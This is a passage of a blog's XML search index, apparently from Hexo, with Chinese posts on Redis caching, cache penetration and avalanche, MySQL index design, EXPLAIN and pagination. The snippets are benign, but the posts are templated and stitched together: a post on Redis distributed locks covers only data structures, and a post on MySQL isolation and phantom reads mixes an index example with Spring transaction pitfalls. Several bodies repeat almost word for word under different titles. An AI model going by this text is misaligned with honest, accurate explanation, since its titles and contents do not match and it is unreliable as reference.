title="核心要点"></a>核心要点</h2><ol><li><p>String：简单的键值对，适合缓存、计数器</p></li><li><p>Hash：存储对象属性，适合用户信息、配置</p></li><li><p>List：有序列表，适合消息队列、最新列表</p></li><li><p>Set：无序去重，适合共同好友、抽奖</p></li><li><p>ZSet：有序集合，适合排行榜、积分系统</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Redis 分布式锁的正确姿势</title>
      <link href="//redis-fen-bu-shi-suo-de-zheng-que-zi-shi/"/>
      <url>//redis-fen-bu-shi-suo-de-zheng-que-zi-shi/</url>
      
        <content type="html"><![CDATA[<h1 id="Redis-分布式锁的正确姿势"><a href="#Redis-分布式锁的正确姿势" class="headerlink" title="Redis 分布式锁的正确姿势"></a>Redis 分布式锁的正确姿势</h1><p>Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。</p><h2 id="先明确-Redis-在系统里的角色"><a href="#先明确-Redis-在系统里的角色" class="headerlink" title="先明确 Redis 在系统里的角色"></a>先明确 Redis 在系统里的角色</h2><p>Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？</p><h2 id="一个缓存查询的基本写法"><a href="#一个缓存查询的基本写法" class="headerlink" title="一个缓存查询的基本写法"></a>一个缓存查询的基本写法</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;user:&quot;</span> + userId;</span><br><span class="line"><span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> redisTemplate.opsForValue().get(key);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> user;</span><br><span class="line">&#125;</span><br><span class="line">user = userMapper.selectById(userId);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(<span class="number">30</span>));</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> user;</span><br></pre></td></tr></table></figure><p>这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。</p><h2 id="三个常见问题"><a href="#三个常见问题" class="headerlink" title="三个常见问题"></a>三个常见问题</h2><ul><li>穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。</li><li>击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。</li><li>雪崩：大量 key 同时过期，可以给过期时间增加随机值。</li></ul><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>本地可以先用 <code>redis-cli</code> 查看 key：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">redis-cli</span><br><span class="line">GET user:1001</span><br><span class="line">TTL user:1001</span><br></pre></td></tr></table></figure><p>确认缓存写入、过期时间和删除策略都符合预期。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>String：简单的键值对，适合缓存、计数器</p></li><li><p>Hash：存储对象属性，适合用户信息、配置</p></li><li><p>List：有序列表，适合消息队列、最新列表</p></li><li><p>Set：无序去重，适合共同好友、抽奖</p></li><li><p>ZSet：有序集合，适合排行榜、积分系统</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>缓存穿透击穿雪崩怎么处理</title>
      <link href="//huan-cun-chuan-tou-ji-chuan-xue-beng-zen-me-chu-li/"/>
      <url>//huan-cun-chuan-tou-ji-chuan-xue-beng-zen-me-chu-li/</url>
      
        <content type="html"><![CDATA[<h1 id="缓存穿透击穿雪崩怎么处理"><a href="#缓存穿透击穿雪崩怎么处理" class="headerlink" title="缓存穿透击穿雪崩怎么处理"></a>缓存穿透击穿雪崩怎么处理</h1><p>缓存穿透、击穿、雪崩是三个经典问题。本文从现象到解决方案，把这三个概念讲清楚。</p><h2 id="先明确-Redis-在系统里的角色"><a href="#先明确-Redis-在系统里的角色" class="headerlink" title="先明确 Redis 在系统里的角色"></a>先明确 Redis 在系统里的角色</h2><p>Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？</p><h2 id="一个缓存查询的基本写法"><a href="#一个缓存查询的基本写法" class="headerlink" title="一个缓存查询的基本写法"></a>一个缓存查询的基本写法</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;user:&quot;</span> + userId;</span><br><span class="line"><span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> redisTemplate.opsForValue().get(key);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> user;</span><br><span class="line">&#125;</span><br><span class="line">user = userMapper.selectById(userId);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(<span class="number">30</span>));</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> user;</span><br></pre></td></tr></table></figure><p>这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。</p><h2 id="三个常见问题"><a href="#三个常见问题" class="headerlink" title="三个常见问题"></a>三个常见问题</h2><ul><li>穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。</li><li>击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。</li><li>雪崩：大量 key 同时过期，可以给过期时间增加随机值。</li></ul><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>本地可以先用 <code>redis-cli</code> 查看 key：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">redis-cli</span><br><span class="line">GET user:1001</span><br><span class="line">TTL user:1001</span><br></pre></td></tr></table></figure><p>确认缓存写入、过期时间和删除策略都符合预期。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Redis 常见数据结构和使用场景</title>
      <link href="//redis-chang-jian-shu-ju-jie-gou-he-shi-yong-chang-jing/"/>
      <url>//redis-chang-jian-shu-ju-jie-gou-he-shi-yong-chang-jing/</url>
      
        <content type="html"><![CDATA[<h1 id="Redis-常见数据结构和使用场景"><a href="#Redis-常见数据结构和使用场景" class="headerlink" title="Redis 常见数据结构和使用场景"></a>Redis 常见数据结构和使用场景</h1><p>Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。</p><h2 id="先明确-Redis-在系统里的角色"><a href="#先明确-Redis-在系统里的角色" class="headerlink" title="先明确 Redis 在系统里的角色"></a>先明确 Redis 在系统里的角色</h2><p>Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？</p><h2 id="一个缓存查询的基本写法"><a href="#一个缓存查询的基本写法" class="headerlink" title="一个缓存查询的基本写法"></a>一个缓存查询的基本写法</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;user:&quot;</span> + userId;</span><br><span class="line"><span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> redisTemplate.opsForValue().get(key);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> user;</span><br><span class="line">&#125;</span><br><span class="line">user = userMapper.selectById(userId);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(<span class="number">30</span>));</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> user;</span><br></pre></td></tr></table></figure><p>这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。</p><h2 id="三个常见问题"><a href="#三个常见问题" class="headerlink" title="三个常见问题"></a>三个常见问题</h2><ul><li>穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。</li><li>击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。</li><li>雪崩：大量 key 同时过期，可以给过期时间增加随机值。</li></ul><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>本地可以先用 <code>redis-cli</code> 查看 key：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">redis-cli</span><br><span class="line">GET user:1001</span><br><span class="line">TTL user:1001</span><br></pre></td></tr></table></figure><p>确认缓存写入、过期时间和删除策略都符合预期。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>String：简单的键值对，适合缓存、计数器</p></li><li><p>Hash：存储对象属性，适合用户信息、配置</p></li><li><p>List：有序列表，适合消息队列、最新列表</p></li><li><p>Set：无序去重，适合共同好友、抽奖</p></li><li><p>ZSet：有序集合，适合排行榜、积分系统</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>数据库字段类型如何贴近业务</title>
      <link href="//shu-ju-ku-zi-duan-lei-xing-ru-he-tie-jin-ye-wu/"/>
      <url>//shu-ju-ku-zi-duan-lei-xing-ru-he-tie-jin-ye-wu/</url>
      
        <content type="html"><![CDATA[<h1 id="数据库字段类型如何贴近业务"><a href="#数据库字段类型如何贴近业务" class="headerlink" title="数据库字段类型如何贴近业务"></a>数据库字段类型如何贴近业务</h1><p>字段类型的选择直接影响性能和数据完整性。本文从实际项目经验出发讲如何选。</p><h2 id="准备一张示例表"><a href="#准备一张示例表" class="headerlink" title="准备一张示例表"></a>准备一张示例表</h2><p>以订单表为例：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> orders (</span><br><span class="line">  id <span class="type">BIGINT</span> <span class="keyword">PRIMARY KEY</span> AUTO_INCREMENT,</span><br><span class="line">  user_id <span class="type">BIGINT</span> <span class="keyword">NOT NULL</span>,</span><br><span class="line">  status <span class="type">VARCHAR</span>(<span class="number">20</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  amount <span class="type">DECIMAL</span>(<span class="number">10</span>,<span class="number">2</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  created_at DATETIME <span class="keyword">NOT NULL</span></span><br><span class="line">);</span><br></pre></td></tr></table></figure><p>查询订单列表时，很多人会直接写：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>这时可以考虑组合索引：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE</span> INDEX idx_user_status_time</span><br><span class="line"><span class="keyword">ON</span> orders(user_id, status, created_at);</span><br></pre></td></tr></table></figure><h2 id="必须用-EXPLAIN-验证"><a href="#必须用-EXPLAIN-验证" class="headerlink" title="必须用 EXPLAIN 验证"></a>必须用 EXPLAIN 验证</h2><p>优化 SQL 不要凭感觉，先看执行计划：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>重点看 <code>key</code> 是否命中索引，<code>rows</code> 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。</p><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>在索引列上使用函数，可能导致索引失效。</li><li>字段类型不一致，例如字符串和数字混用，会影响优化器选择。</li><li>大 offset 分页会越来越慢，可以改成基于 id 的游标分页。</li></ul>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> SQL </tag>
            
            <tag> MySQL优化 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>分页查询性能问题和游标分页</title>
      <link href="//fen-ye-cha-xun-xing-neng-wen-ti-he-you-biao-fen-ye/"/>
      <url>//fen-ye-cha-xun-xing-neng-wen-ti-he-you-biao-fen-ye/</url>
      
        <content type="html"><![CDATA[<h1 id="分页查询性能问题和游标分页"><a href="#分页查询性能问题和游标分页" class="headerlink" title="分页查询性能问题和游标分页"></a>分页查询性能问题和游标分页</h1><p>分页查询看似简单，但 offset 越来越大时性能会急剧下降。本文讲游标分页的实现方式和适用场景。</p><h2 id="准备一张示例表"><a href="#准备一张示例表" class="headerlink" title="准备一张示例表"></a>准备一张示例表</h2><p>以订单表为例：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> orders (</span><br><span class="line">  id <span class="type">BIGINT</span> <span class="keyword">PRIMARY KEY</span> AUTO_INCREMENT,</span><br><span class="line">  user_id <span class="type">BIGINT</span> <span class="keyword">NOT NULL</span>,</span><br><span class="line">  status <span class="type">VARCHAR</span>(<span class="number">20</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  amount <span class="type">DECIMAL</span>(<span class="number">10</span>,<span class="number">2</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  created_at DATETIME <span class="keyword">NOT NULL</span></span><br><span class="line">);</span><br></pre></td></tr></table></figure><p>查询订单列表时，很多人会直接写：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>这时可以考虑组合索引：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE</span> INDEX idx_user_status_time</span><br><span class="line"><span class="keyword">ON</span> orders(user_id, status, created_at);</span><br></pre></td></tr></table></figure><h2 id="必须用-EXPLAIN-验证"><a href="#必须用-EXPLAIN-验证" class="headerlink" title="必须用 EXPLAIN 验证"></a>必须用 EXPLAIN 验证</h2><p>优化 SQL 不要凭感觉，先看执行计划：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>重点看 <code>key</code> 是否命中索引，<code>rows</code> 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。</p><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>在索引列上使用函数，可能导致索引失效。</li><li>字段类型不一致，例如字符串和数字混用，会影响优化器选择。</li><li>大 offset 分页会越来越慢，可以改成基于 id 的游标分页。</li></ul>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> SQL </tag>
            
            <tag> MySQL优化 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>慢 SQL 排查和优化完整流程</title>
      <link href="//man-sql-pai-cha-he-you-hua-wan-zheng-liu-cheng/"/>
      <url>//man-sql-pai-cha-he-you-hua-wan-zheng-liu-cheng/</url>
      
        <content type="html"><![CDATA[<h1 id="慢-SQL-排查和优化完整流程"><a href="#慢-SQL-排查和优化完整流程" class="headerlink" title="慢 SQL 排查和优化完整流程"></a>慢 SQL 排查和优化完整流程</h1><p>慢 SQL 排查和优化完整流程是日常开发和面试中都会遇到的话题。本文从实际项目经验出发，讲它的核心概念和使用方式。</p><h2 id="准备一张示例表"><a href="#准备一张示例表" class="headerlink" title="准备一张示例表"></a>准备一张示例表</h2><p>以订单表为例：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> orders (</span><br><span class="line">  id <span class="type">BIGINT</span> <span class="keyword">PRIMARY KEY</span> AUTO_INCREMENT,</span><br><span class="line">  user_id <span class="type">BIGINT</span> <span class="keyword">NOT NULL</span>,</span><br><span class="line">  status <span class="type">VARCHAR</span>(<span class="number">20</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  amount <span class="type">DECIMAL</span>(<span class="number">10</span>,<span class="number">2</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  created_at DATETIME <span class="keyword">NOT NULL</span></span><br><span class="line">);</span><br></pre></td></tr></table></figure><p>查询订单列表时，很多人会直接写：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>这时可以考虑组合索引：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE</span> INDEX idx_user_status_time</span><br><span class="line"><span class="keyword">ON</span> orders(user_id, status, created_at);</span><br></pre></td></tr></table></figure><h2 id="必须用-EXPLAIN-验证"><a href="#必须用-EXPLAIN-验证" class="headerlink" title="必须用 EXPLAIN 验证"></a>必须用 EXPLAIN 验证</h2><p>优化 SQL 不要凭感觉，先看执行计划：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>重点看 <code>key</code> 是否命中索引，<code>rows</code> 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。</p><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>在索引列上使用函数，可能导致索引失效。</li><li>字段类型不一致，例如字符串和数字混用，会影响优化器选择。</li><li>大 offset 分页会越来越慢，可以改成基于 id 的游标分页。</li></ul>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> SQL </tag>
            
            <tag> MySQL优化 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>MySQL 事务隔离级别和幻读问题</title>
      <link href="//mysql-shi-wu-ge-chi-ji-bie-he-huan-du-wen-ti/"/>
      <url>//mysql-shi-wu-ge-chi-ji-bie-he-huan-du-wen-ti/</url>
      
        <content type="html"><![CDATA[<h1 id="MySQL-事务隔离级别和幻读问题"><a href="#MySQL-事务隔离级别和幻读问题" class="headerlink" title="MySQL 事务隔离级别和幻读问题"></a>MySQL 事务隔离级别和幻读问题</h1><p>Spring 事务用起来简单，但失效场景非常多。很多人遇到过 @Transactional 不生效的情况，却不知道原因。本文把日常开发中常见的坑和对应的排查思路整理出来，帮你避免踩坑。</p><h2 id="准备一张示例表"><a href="#准备一张示例表" class="headerlink" title="准备一张示例表"></a>准备一张示例表</h2><p>以订单表为例：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> orders (</span><br><span class="line">  id <span class="type">BIGINT</span> <span class="keyword">PRIMARY KEY</span> AUTO_INCREMENT,</span><br><span class="line">  user_id <span class="type">BIGINT</span> <span class="keyword">NOT NULL</span>,</span><br><span class="line">  status <span class="type">VARCHAR</span>(<span class="number">20</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  amount <span class="type">DECIMAL</span>(<span class="number">10</span>,<span class="number">2</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  created_at DATETIME <span class="keyword">NOT NULL</span></span><br><span class="line">);</span><br></pre></td></tr></table></figure><p>查询订单列表时，很多人会直接写：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>这时可以考虑组合索引：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE</span> INDEX idx_user_status_time</span><br><span class="line"><span class="keyword">ON</span> orders(user_id, status, created_at);</span><br></pre></td></tr></table></figure><h2 id="必须用-EXPLAIN-验证"><a href="#必须用-EXPLAIN-验证" class="headerlink" title="必须用 EXPLAIN 验证"></a>必须用 EXPLAIN 验证</h2><p>优化 SQL 不要凭感觉，先看执行计划：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>重点看 <code>key</code> 是否命中索引，<code>rows</code> 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。</p><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>在索引列上使用函数，可能导致索引失效。</li><li>字段类型不一致，例如字符串和数字混用，会影响优化器选择。</li><li>大 offset 分页会越来越慢，可以改成基于 id 的游标分页。</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>事务失效的常见原因：非 public 方法、自调用、异常被吞掉、错误的传播级别</p></li><li><p>事务传播级别决定了方法之间的事务关系，REQUIRED 是默认值</p></li><li><p>使用 @Transactional(rollbackFor = Exception.class) 确保异常回滚</p></li><li><p>编程式事务在某些场景下比声明式事务更灵活</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>事务管理是保证数据一致性的关键。理解事务的工作机制和常见陷阱，能帮你写出更健壮的代码。在实际项目中，合理配置事务边界非常重要。</p>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> SQL </tag>
            
            <tag> MySQL优化 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>EXPLAIN 执行计划应该看哪些字段</title>
      <link href="//explain-zhi-xing-ji-hua-ying-gai-kan-na-xie-zi-duan/"/>
      <url>//explain-zhi-xing-ji-hua-ying-gai-kan-na-xie-zi-duan/</url>
      
        <content type="html"><![CDATA[<h1 id="EXPLAIN-执行计划应该看哪些字段"><a href="#EXPLAIN-执行计划应该看哪些字段" class="headerlink" title="EXPLAIN 执行计划应该看哪些字段"></a>EXPLAIN 执行计划应该看哪些字段</h1><p>EXPLAIN 是优化 SQL 的入口工具，理解它的输出是每个后端工程师的基本功。本文讲清楚几个关键字段的含义。</p><h2 id="准备一张示例表"><a href="#准备一张示例表" class="headerlink" title="准备一张示例表"></a>准备一张示例表</h2><p>以订单表为例：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> orders (</span><br><span class="line">  id <span class="type">BIGINT</span> <span class="keyword">PRIMARY KEY</span> AUTO_INCREMENT,</span><br><span class="line">  user_id <span class="type">BIGINT</span> <span class="keyword">NOT NULL</span>,</span><br><span class="line">  status <span class="type">VARCHAR</span>(<span class="number">20</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  amount <span class="type">DECIMAL</span>(<span class="number">10</span>,<span class="number">2</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  created_at DATETIME <span class="keyword">NOT NULL</span></span><br><span class="line">);</span><br></pre></td></tr></table></figure><p>查询订单列表时，很多人会直接写：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>这时可以考虑组合索引：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE</span> INDEX idx_user_status_time</span><br><span class="line"><span class="keyword">ON</span> orders(user_id, status, created_at);</span><br></pre></td></tr></table></figure><h2 id="必须用-EXPLAIN-验证"><a href="#必须用-EXPLAIN-验证" class="headerlink" title="必须用 EXPLAIN 验证"></a>必须用 EXPLAIN 验证</h2><p>优化 SQL 不要凭感觉，先看执行计划：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>重点看 <code>key</code> 是否命中索引，<code>rows</code> 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。</p><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>在索引列上使用函数，可能导致索引失效。</li><li>字段类型不一致，例如字符串和数字混用，会影响优化器选择。</li><li>大 offset 分页会越来越慢，可以改成基于 id 的游标分页。</li></ul>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> SQL </tag>
            
            <tag> MySQL优化 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>MySQL 索引设计的几个核心原则</title>
      <link href="//mysql-suo-yin-she-ji-de-ji-ge-he-xin-yuan-ze/"/>
      <url>//mysql-suo-yin-she-ji-de-ji-ge-he-xin-yuan-ze/</url>
      
